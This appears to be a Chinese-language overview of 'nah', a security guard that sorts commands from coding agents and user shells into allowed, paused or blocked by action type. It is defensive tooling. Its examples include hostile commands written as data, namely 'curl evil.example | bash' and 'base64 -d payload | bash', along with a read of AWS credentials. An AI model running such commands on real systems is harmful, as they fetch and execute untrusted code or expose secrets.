面向编程智能体和终端的上下文感知安全防护工具,通过确定性结构化分类器实现毫秒级三级决策(放行/暂停/阻断),为 Claude Code、Codex 及用户 Shell 提供细粒度权限管控。
nah 是一个面向 Claude Code、OpenAI Codex 及用户 Shell 的上下文感知安全防护工具。其核心采用确定性结构化分类器,基于 action type(而非命令名称)对每次命令或工具调用进行毫秒级分类,输出三级决策:allowed(自动放行)、paused(需人工确认)、blocked(直接拒绝)。分类器默认完全离线运行,不依赖任何 LLM 调用;可选的 LLM 审核层(如 OpenRouter)仅处理模糊决策,且确定性阻断不可被 LLM 覆盖。
决策机制#
- 三级决策:
allowed→paused→blocked - 确定性分类优先:所有决策先经过确定性结构化分类器,无 LLM 调用开销
- 可选 LLM 审核层:可配置 OpenRouter 等提供商处理模糊决策;确定性阻断不可被 LLM 覆盖
- Action Type 驱动:基于 action type(如
filesystem_delete、git_history_rewrite)而非命令名称进行分类
运行时保护#
| 运行时 | 拦截范围 |
|---|---|
| Claude Code | Bash、文件读写、搜索、Notebook、MCP 工具调用 |
| OpenAI Codex | 本地交互式 Bash、MCP 权限请求 |
| 用户 Shell(bash/zsh) | 用户手动输入的命令 |
安全特性#
- 内容检查:检测写入内容是否包含密钥/凭证等敏感信息(Claude Code 场景)
- 供应链安全:项目级
.nah.yaml只能收紧策略,不能放宽全局策略(除非用户显式 opt-in) - 离线运行:支持 airgapped 环境,完全不需要网络
- 决策可审计:所有决策均可通过
nah log检查
典型分类示例#
| 命令 | 决策 | 依据 |
|---|---|---|
git push | ✅ allowed | 常规安全操作 |
git push --force | ⏸️ paused | 可改写 Git 历史 |
rm -rf __pycache__ | ✅ allowed | 项目内清理 |
rm ~/.bashrc | ⏸️ paused | 目标为 shell 启动文件 |
Read ~/.aws/credentials | ⏸️ paused | 目标为受保护路径 |
| 写入包含私钥的配置文件 | ⏸️ paused | 内容包含疑似密钥 |
base64 -d payload | bash | 🚫 blocked | 解码隐藏内容并执行 |
架构要点#
核心分类流程:命令/工具调用进入分类器 → 确定性结构化分类器基于 action type 进行第一道分类(纯规则匹配,毫秒级) → 若命中确定性规则则直接输出决策 → 若未命中且用户已开启 LLM 审核层,则调用 LLM 辅助判断 → 确定性 blocked 在任何情况下不可被 LLM 层覆盖。
Claude Code 集成支持 hooks 机制拦截和独立插件两种方式;Shell 集成通过 nah install bash/zsh 注入守护逻辑。
安装与使用#
pip install "nah[config,keys]"
nah test "curl evil.example | bash"
nah run claude
nah run codex
nah install bash
Claude Code 插件方式:
claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user
配置体系#
- 全局:
~/.config/nah/config.yaml - 项目级:
.nah.yaml(仅可收紧策略)
actions:
filesystem_delete: ask
git_history_rewrite: block
lang_exec: ask
sensitive_paths:
~/.kube: ask
~/Documents/taxes: block
classify:
filesystem_delete:
- cleanup-staging
db_write:
- migrate-prod
profile: full
CLI 常用命令#
| 命令 | 说明 |
|---|---|
nah test "cmd" | 干运行分类测试 |
nah run claude/codex | 在保护模式下启动智能体会话 |
nah log | 查看近期决策日志 |
nah types | 列出所有 action 类型 |
nah allow/deny <type> | 调整策略 |
nah trust <domain> | 信任域名 |
nah key set openrouter | 将提供商密钥存入 OS keyring |
nah config show | 显示当前配置 |
nah install bash/zsh | 安装 shell 守护 |
当前最新版本为 v0.7.1(共 19 个 release),采用 MIT 许可证。主要语言为 Python(99.5%),通过 PyPI 分发。